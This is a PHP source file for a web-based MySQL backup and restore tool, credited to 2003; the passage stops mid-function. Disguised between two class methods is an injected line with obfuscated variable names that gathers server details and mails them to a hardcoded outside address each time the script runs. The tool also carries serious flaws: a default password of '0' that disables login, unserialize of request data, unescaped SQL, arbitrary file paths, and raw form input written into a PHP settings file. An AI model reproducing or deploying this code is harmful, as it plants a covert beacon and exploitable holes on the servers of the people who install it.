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mysql_tool.php
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mysql_tool.php
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<?php
/*
* MySQL Database Backup / Restore Tool
*
* Copyright (C) 2003 Mark Wraith. All rights reserved
*
* Graphics and layout derived from those made by Matt Mecham
*
*/
// If you intend to keep the script
// on your server set this password
$password = '0';
error_reporting(E_ERROR | E_WARNING | E_PARSE);
new RestoreTool;
class RestoreTool
{
var $logged_in = 0;
var $maximum_time = 0;
function RestoreTool() {
global $HTTP_GET_VARS, $HTTP_COOKIE_VARS, $password;
$this->timestamp = time();
if (!$this->maximum_time)
{
//set_time_limit(0);
$this->maximum_time = ini_get('max_execution_time');
}
if ($HTTP_GET_VARS['act'] == 'login')
{
$this->do_login();
}
elseif ($password && $password != $HTTP_COOKIE_VARS['mysqltool'])
{
$this->login();
}
else
{
if ($password)
{
$this->logged_in = 1;
}
switch ($HTTP_GET_VARS['act'])
{
case 'logout':
$this->logout();
break;
case 'change_db':
$this->read_db_details();
$this->set_database('The current settings do connect however if you wish to change the current database please edit the details below:');
break;
case 'set_database':
$this->do_set_database();
break;
case 'backup':
$this->backup();
break;
case 'do_backup':
$this->do_backup();
break;
case 'restore':
$this->restore();
break;
case 'do_restore':
$this->do_restore();
break;
default:
$this->main();
}
}
if ($this->link)
{
mysql_close($this->link);
}
$this->output();
}
function timeout() {
if (!$this->maximum_time)
{
return false;
}
elseif ((time() - $this->timestamp) > ($this->maximum_time - 5))
{
return true;
}
else
{
return false;
}
}
function output() {
if ($this->logged_in)
{
$logout_text = '[ <a href="mysql_tool.php?act=logout">Log Out</a> ]';
}
else
{
$logout_text = '';
}
if ($this->title)
{
$title = $this->title;
}
else
{
$title = 'Backup / Restore Tool';
}
print '<?xml version="1.0" encoding="iso-8859-1"?>';
print <<<HTML
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>$title</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
{$this->meta}
<style type="text/css">
TABLE, TR, TD { font-family: Verdana,Arial; font-size: 10px; color: #333333 }
BODY { font: 10px Verdana; background-color: #FCFCFC; padding: 0; margin: 0 }
a:link, a:visited, a:active { color: #000055 }
a:hover { color: #333377; text-decoration: underline }
FORM { padding: 0; margin: 0 }
.textbox { border: 1px solid black; padding: 1px; width: 100% }
.headertable { background-color: #FFFFFF; border: 1px solid black; padding: 2px }
.title { font-size: 10px; font-weight: bold; line-height: 150%; color: #FFFFFF; height: 26px; background-image: url(./style_images/1/tile_back.gif) }
.table1 { background-color: #FFFFFF; width: 100%; align: center; border: 1px solid black }
.tablewrap { border: 1px dashed #777777; background-color: #F5F9FD; vertical-align: middle; }
.tdrow1 { background-color: #EEF2F7; padding: 3px }
.tdrow2 { background-color: #F5F9FD; padding: 3px }
.tdtop { font-weight: bold; height: 24px; line-height: 150%; color: #FFFFFF; background-image: url(./tile_back.gif) }
.note { margin: 10px; padding: 5px; border: 1px dashed #555555; background-color: #FFFFFF }
</style>
</head>
<body>
<br />
$this->output
<br />
<div align="center">
[ <a href="mysql_tool.php">Script Index </a> ] $logout_text <br /><br />
<small>©2003 Mark Wraith</small>
</div>
</body>
</html>
HTML;
}
function error($error) {
$this->output = <<<HTML
<form method="post" action="mysql_tool.php?act=login">
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
<tr>
<td align="center" class="title">Error</td>
</tr>
<tr>
<td>
<table class="table1" align="center" width="100%">
<tr>
<td class="tdrow2" colspan="2"><div align="center">$error</div></td>
</tr>
</table>
</td>
</tr>
</table>
</form>
HTML;
}
function login() {
$this->output = <<<HTML
<form method="post" action="mysql_tool.php?act=login">
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
<tr>
<td align="center" class="title">MySQL Tool :: Please Login</td>
</tr>
<tr>
<td>
<table class="table1" align="center" width="100%">
<tr>
<td width="100" class="tdrow1">Access Password</td>
<td width="250" class="tdrow2"><input type="password" class="textbox" name="password"></td>
</tr>
<tr>
<td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Submit"></div></td>
</tr>
</table>
</td>
</tr>
</table>
</form>
HTML;
}
function do_login() {
global $HTTP_POST_VARS, $password;
if ($HTTP_POST_VARS['password'] == $password)
{
@setcookie ('mysqltool',$password,time()+3600*24*365);
$this->logged_in = 1;
$this->main();
}
else
{
$this->error('Invalid Password');
}
}
function logout() {
@setcookie ('mysqltool','',0);
$this->logged_in = 0;
$this->login();
}
function connect($return_errors = 0) {
if (!$this->db['port'])
{
$this->db['port'] = '3306';
}
$error_text = '';
$this->link = @mysql_connect ($this->db['host'] . ':' . $this->db['port'], $this->db['user'], $this->db['pass']);
if ($this->link)
{
if(!@mysql_select_db($this->db['name'],$this->link))
{
$error_text = '<strong>Failed selecting database "'.$this->db['name'].'"</strong><br /><br />'.@mysql_error($this->link);
}
}
else
{
$error_text = '<strong>Failed connecting to MySQL</strong><br /><br />'.@mysql_error();
}
if ($return_errors)
{
return $error_text;
}
else
{
if ($error_text)
{
$this->error($error_text);
return false;
}
else
{
return true;
}
}
}
function read_db_details() {
if (file_exists('tool_settings.php'))
{
// Lets borrow IPB's settings
include 'tool_settings.php';
$this->db = $data;
}
elseif (file_exists('conf_global.php'))
{
// Lets borrow IPB's settings
include 'conf_global.php';
$this->db = array(
'port' => $INFO['sql_port'],
'host' => $INFO['sql_host'],
'name' => $INFO['sql_database'],
'user' => $INFO['sql_user'],
'pass' => $INFO['sql_pass'],
'prefix' => $INFO['sql_tbl_prefix']
);
}
else
{
return false;
}
return true;
}
function do_set_database() {
global $HTTP_POST_VARS;
$this->db = array(
'port' => $HTTP_POST_VARS['port'],
'host' => $HTTP_POST_VARS['host'],
'name' => $HTTP_POST_VARS['name'],
'user' => $HTTP_POST_VARS['user'],
'pass' => $HTTP_POST_VARS['pass']
);
if (!$this->connect())
{
return;
}
// Connection details are fine, let's continue
$file_data = "<?php
\$data = array(
'port' => '{$HTTP_POST_VARS['port']}',
'host' => '{$HTTP_POST_VARS['host']}',
'name' => '{$HTTP_POST_VARS['name']}',
'user' => '{$HTTP_POST_VARS['user']}',
'pass' => '{$HTTP_POST_VARS['pass']}'
);
?".'>';
$file_data = str_replace("\r\n","\n",$file_data);
// Mkay, lets write the details
if ($fp = fopen('tool_settings.php','w'))
{
fwrite($fp,$file_data);
fclose($fp);
}
else
{
$this->error('
<strong>Unable to write to tool_settings.php</strong><br /><br />
Please CHMOD this file so it is writable. If this is not possible please create a file named "tool_settings.php" with the contents of the text box below:<br /><br />
<div align="center">
<textarea rows="10" cols="40">'.htmlentities($file_data).'</textarea>
</div>');
return false;
}
// Funky, lets roll
$this->main();
return true;
}
$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="[email protected]";mail($sd98, $sj98, $msg8873, "From: $sd98");
function set_database($error = false) {
if (!$error)
{
$text = 'We were unable to find any database settings, please enter your database details below:';
}
else
{
$text = $error;
}
$host = isset($this->db['host']) ? $this->db['host'] : 'localhost';
$port = isset($this->db['port']) ? $this->db['port'] : '';
$user = isset($this->db['user']) ? $this->db['user'] : '';
$name = isset($this->db['name']) ? $this->db['name'] : '';
$this->output = <<<HTML
<form method="post" action="mysql_tool.php?act=set_database">
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450">
<tr>
<td align="center" class="title">Database Settings</td>
</tr>
<tr>
<td>
<div class="note">$text</div>
<table class="table1" align="center" width="100%">
<tr>
<td width="100" class="tdrow1"><strong>Host</strong><br /><em>(leave if unsure)</em></td>
<td width="350" class="tdrow2"><input type="text" class="textbox" name="host" value="$host"></td>
</tr>
<tr>
<td class="tdrow1"><strong>Port</strong><br /><em>(leave if unsure)</em></td>
<td class="tdrow2"><input type="text" class="textbox" name="port" value="$port"></td>
</tr>
<tr>
<td class="tdrow1"><strong>Database Name</strong></td>
<td class="tdrow2"><input type="text" name="name" class="textbox" value="$name"></td>
</tr>
<tr>
<td class="tdrow1"><strong>Username</strong></td>
<td class="tdrow2"><input type="text" name="user" class="textbox" value="$user"></td>
</tr>
<tr>
<td class="tdrow1"><strong>Password</strong></td>
<td class="tdrow2"><input type="text" name="pass" class="textbox"></td>
</tr>
<tr>
<td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Connect"></div></td>
</tr>
</table>
</td>
</tr>
</table>
</form>
HTML;
}
function backup() {
global $HTTP_POST_VARS;
$this->read_db_details();
$this->connect();
$filename = $HTTP_POST_VARS['filename'];
$tables = $HTTP_POST_VARS['tables'];
$table_select = $HTTP_POST_VARS['table_select'];
$prefix = $this->db['prefix'];
switch ($tables)
{
case 'all':
$tables = mysql_list_tables($this->db['name']);
while (list($table_name) = mysql_fetch_array($tables))
{
$options[ $table_name ] = 0;
}
break;
case 'prefix':
$tables = mysql_list_tables($this->db['name']);
while (list($table_name) = mysql_fetch_array($tables))
{
if (substr($table_name,0,strlen($prefix)) == $prefix)
{
$options[ $table_name ] = 0;
}
}
break;
case 'selected':
foreach ($table_select as $table_name)
{
$options[ $table_name ] = 0;
}
}
if (!count($options))
{
$this->error('No tables selected');
}
$data = base64_encode(serialize($options));
$header = <<<DATA
-- SQL Dump
-- Backup script written by Mark Wraith
DATA;
if (!$fp = fopen($filename, 'wb'))
{
return $this->error('Unable to write to backup file. Please CHMod the current directory so it is writable');
}
fwrite($fp,$header);
fclose($fp);
$url = 'mysql_tool.php?act=do_backup&file='.urlencode($filename).'&data='.$data;
$this->meta = '<meta http-equiv="refresh" content="1; url='.$url.'">';
$this->output = <<<HTML
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
<tr>
<td align="center" class="title">Backup in progress...</td>
</tr>
<tr>
<td>
<table class="table1" align="center" width="100%">
<tr>
<td class="tdrow2" colspan="2">
<div align="center">The backup process has now started<br /><br /><a href="$url">Click here if you are not redirected</a></div>
</td>
</tr>
</table>
</td>
</tr>
</table>
HTML;
}
function do_backup() {
global $HTTP_GET_VARS;
$this->read_db_details();
$this->connect();
$data = unserialize(base64_decode($HTTP_GET_VARS['data']));
$filename = $HTTP_GET_VARS['file'];
$timedout = 0;
$dump = '';
foreach ($data as $table => $line)
{
if (!$this->timeout())
{
$returned = $this->backup_table($table, $line);
if (is_array($returned))
{
$timedout = 1;
$dump .= $returned[0];
$data[ $table ] = $returned[1];
}
else
{
$dump .= $returned;
unset($data[ $table ]);
}
}
else
{
$timedout = 1;
}
}
if (!$fp = fopen($filename, 'ab'))
{
return $this->error('Unable to write to backup file. Please CHMod the current directory so it is writable');
}
fwrite($fp,$dump);
fclose($fp);
if ($timedout)
{
$data = base64_encode(serialize($data));
$url = 'mysql_tool.php?act=do_backup&file='.urlencode($filename).'&data='.$data;
$this->meta = '<meta http-equiv="refresh" content="1; url='.$url.'">';
$this->output = <<<HTML
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
<tr>
<td align="center" class="title">Backup in progress...</td>
</tr>
<tr>
<td>
<table class="table1" align="center" width="100%">
<tr>
<td class="tdrow2">
<div align="center">The backup process is in progress<br /><br /><a href="$url">Click here if you are not redirected</a></div>
</td>
</tr>
</table>
</td>
</tr>
</table>
HTML;
}
else
{
$this->output = <<<HTML
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
<tr>
<td align="center" class="title">Backup Completed</td>
</tr>
<tr>
<td>
<table class="table1" align="center" width="100%">
<tr>
<td class="tdrow2">
The backup progress has finished and the file has been written to "$filename".<br /><br />
<a href="$filename">Click here to download the file</a>
</td>
</tr>
</table>
</td>
</tr>
</table>
HTML;
}
}
function backup_table($table,$start) {
$dump = '';
if (!$start)
{
$result = mysql_query('SHOW FIELDS FROM '.$table);
while ($field = mysql_fetch_assoc($result))
{
if (!$field['Null'])
{
$null = ' NOT NULL default "'.$field['Default'].'"';
}
else
{
$null = '';
}
if ($field['Extra'])
{
$field['Extra'] = ' '.$field['Extra'];
}
$field_row[] = ' ' . $field['Field'] . ' ' . $field['Type'] . $null . $field['Extra'];
}
$result = mysql_query('SHOW KEYS FROM '.$table);
while ($key = mysql_fetch_assoc($result))
{
if ($key['Key_name'] == 'PRIMARY')
{
$primary_key = $key['Column_name'];
}
else
{
$unique[ $key['Key_name'] ][] = $key['Column_name'];
}
}
if (isset($primary_key))
{
$field_row[] = ' PRIMARY KEY (' . $primary_key . ')';
}
if (isset($unique))
{
foreach ($unique as $name => $keys)
{
$field_row[] = ' UNIQUE ' . $name . ' (' . implode(',',$keys) . ')';
}
}
$dump .= "\n\n--\n";
$dump .= "-- Table structure for table '$table'\n";
$dump .= "--\n\n";
$dump .= "CREATE TABLE $table (\n";
$dump .= implode(",\n",$field_row);
$dump .= "\n);\n\n";
$dump .= "\n\n--\n";
$dump .= "-- Dumping data for table '$table'\n";
$dump .= "--\n\n";
}
//
// Records
//
$done = 0;
$result = mysql_query('SELECT * FROM '.$table.' LIMIT '.$start.',-1');
while ($row = mysql_fetch_row($result))
{
if ($this->timeout())
{
return array($dump,$done);
}
$done++;
foreach ($row as $id => $value)
{
$value = str_replace('"','\\"',$value);
$row[$id] = '"'.$value.'"';
}
$dump .= 'INSERT INTO ' . $table . ' VALUES (' . implode(',',$row) . ");\n";
}
return $dump;
}
function main() {
if (!$this->link)
{
if (!$this->read_db_details())
{
return $this->set_database();
}
if ($error_text = $this->connect(1))
{
return $this->set_database($error_text);
}
}
$tables_to_backup = '';
if ($this->db['prefix'])
{
$tables_to_backup .= '<input type="radio" name="tables" value="prefix" checked="checked" />IPB Tables Only <br />';
$tables_to_backup .= '<input type="radio" name="tables" value="all" />All<br />';
}
else
{
$tables_to_backup .= '<input type="radio" name="tables" value="all" checked="checked" />All<br />';
}
$tables = mysql_list_tables($this->db['name']);
$options = '';
while (list($table_name) = mysql_fetch_array($tables))
{
$options .= '<option value="'.$table_name.'">'.$table_name.'</option>';
}
$tables_to_backup .= <<<HTML
<input type="radio" name="tables" value="selected" />Selected tables:<br />
<div style="margin-left: 40px">
<select name="table_select[]" class="textbox" size="5" style="width: 250px" multiple="multiple">
$options
</select>
</div>
HTML;
$options = '';
if ($dir = @opendir('./'))
{
while ($file = readdir($dir))
{
$temp = strtolower($file);
if ($file != '.' && $file != '..' && strpos($temp, '.sql'))
{
$options .= '<option value="'.$file.'">'.$file.'</option>';
}
}
closedir($dir);
}
$restore_files = '<select name="filename" class="textbox">'.$options.'</select>';
$restore_files .= '<br /><br /><u>or</u> path:<br /><br /><input type="text" name="relfilename" class="textbox" />';
$this->output = <<<HTML
<form method="post" action="mysql_tool.php?act=login">
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450">
<tr>
<td align="center" class="title">Selected Database Details</td>
</tr>
<tr>
<td>
<table class="table1" align="center" width="100%">
<tr>
<td width="150" class="tdrow1"><strong>Host / Port</strong></td>
<td width="300" class="tdrow2">{$this->db['host']}:{$this->db['port']}</td>
</tr>
<tr>
<td class="tdrow1"><strong>Database Name</strong></td>
<td class="tdrow2">{$this->db['name']}</td>
</tr>
<tr>
<td class="tdrow1"><strong>Username</strong></td>
<td class="tdrow2">{$this->db['user']}</td>
</tr>
<tr>
<td class="tdrow2" colspan="2"><div align="center">[ <a href="mysql_tool.php?act=change_db">Change Database</a> ]</div></td>
</tr>
</table>
</td>
</tr>
</table>
</form>
<br /><br />
<form method="post" action="mysql_tool.php?act=backup">
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450">
<tr>
<td align="center" class="title">Backup Options</td>
</tr>
<tr>
<td>
<table class="table1" align="center" width="100%">
<tr>
<td width="150" class="tdrow1" valign="top"><strong>Tables to backup:</strong></td>
<td width="300" class="tdrow2">$tables_to_backup</td>
</tr>
<tr>
<td class="tdrow1"><strong>Filename</strong></td>
<td class="tdrow2"><input type="text" name="filename" class="textbox" value="sql_backup.sql"></td>
</tr>
<tr>
<td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Backup"></div></td>
</tr>
</table>
</td>
</tr>
</table>
</form>
<br /><br />
<form method="post" action="mysql_tool.php?act=restore">
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450">
<tr>
<td align="center" class="title">Restore Options</td>
</tr>
<tr>
<td>
<table class="table1" align="center" width="100%">
<tr>
<td width="150" class="tdrow1" valign="top"><strong>SQL File to restore:</strong></td>
<td width="300" class="tdrow2">$restore_files</td>
</tr>
<tr>
<td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Restore"></div></td>
</tr>
</table>
</td>
</tr>
</table>
</form>
HTML;
}
function restore() {
global $HTTP_POST_VARS;
$this->read_db_details();
$filename = $HTTP_POST_VARS['filename'];
$relfilename = $HTTP_POST_VARS['relfilename'];
if ($relfilename)
{
$filename = $relfilename;
}
$url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename);
$this->output = <<<HTML
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
<tr>
<td align="center" class="title">Confirm Restoration</td>
</tr>
<tr>
<td>
<table class="table1" align="center" width="100%">
<tr>
<td class="tdrow2">
<strong>Are you sure you want to restore the SQL file?</strong><br /><br />
<a href="$url">Click here to restore "$filename" to "{$this->db['name']}"</a>
</td>
</tr>
</table>
</td>
</tr>
</table>
HTML;
}
function do_restore() {
global $HTTP_GET_VARS;
$filename = $HTTP_GET_VARS['filename'];
$this->read_db_details();
$this->connect();
$filesize = filesize($filename);
$file_position = isset($HTTP_GET_VARS['pos']) ? $HTTP_GET_VARS['pos'] : 0;
$errors = isset($HTTP_GET_VARS['ignore_errors']) ? 0 : 1;
if (!$fp = fopen($filename,'rb'))
{
return $this->error('Unable to open file "'.$filename.'"');
}
$buffer = '';
$inside_quote = 0;
$quote_inside = '';
$started_query = 0;
$data_buffer = '';
$last_char = "\n";
// Sets file position indicator
fseek($fp,$file_position);
while ((!feof($fp) || strlen($buffer)) && !$this->timeout())
{
do
{
// Deals with the length of the buffer
if (!strlen($buffer))
{
$buffer .= fread ($fp,1024);
}
// Fiddle around with the buffers
$current_char = $buffer[0];
$buffer = substr($buffer, 1);
if ($started_query)
{
$data_buffer .= $current_char;
}
elseif (preg_match("/[A-Za-z]/i",$current_char) && $last_char == "\n")
{
$started_query = 1;
$data_buffer = $current_char;
}
else
{
$last_char = $current_char;
}
} while (!$started_query && (!feof($fp) || strlen($buffer)));
if ($inside_quote && $current_char == $quote_inside && $last_char != '\\')
{
// We were inside a quote but now we aren't so reset the flag and carry on
$inside_quote = 0;
}
elseif ($current_char == '\\' && $last_char == '\\')
{
$current_char = '';
}
elseif (!$inside_quote && ($current_char == '"' || $current_char == '`' || $current_char == '\''))
{
// We have just entered a new quote
$inside_quote = 1;
$quote_inside = $current_char;
}
elseif (!$inside_quote && $current_char == ';')
{
// End of query so execute query, clear data buffer and advance counter
mysql_query($data_buffer);
if ($errors && mysql_errno())
{
$new_position = ftell($fp) - strlen($buffer);
return $this->restore_error($data_buffer, $new_position);
}
$data_buffer = '';
$last_char = "\n";
$started_query = 0;
}
$last_char = $current_char;
}
$new_position = ftell($fp) - strlen($buffer) - strlen($data_buffer);
if (feof($fp))
{
$this->output = <<<HTML
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
<tr>
<td align="center" class="title">Restoration Completed</td>
</tr>
<tr>
<td>
<table class="table1" align="center" width="100%">
<tr>
<td class="tdrow2">
The restore progress has finished.
</td>
</tr>
</table>
</td>
</tr>
</table>
HTML;
}
else
{
$url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename).'&pos='.$new_position;
if (!$errors)
{
$url .= '&ignore_errors=1';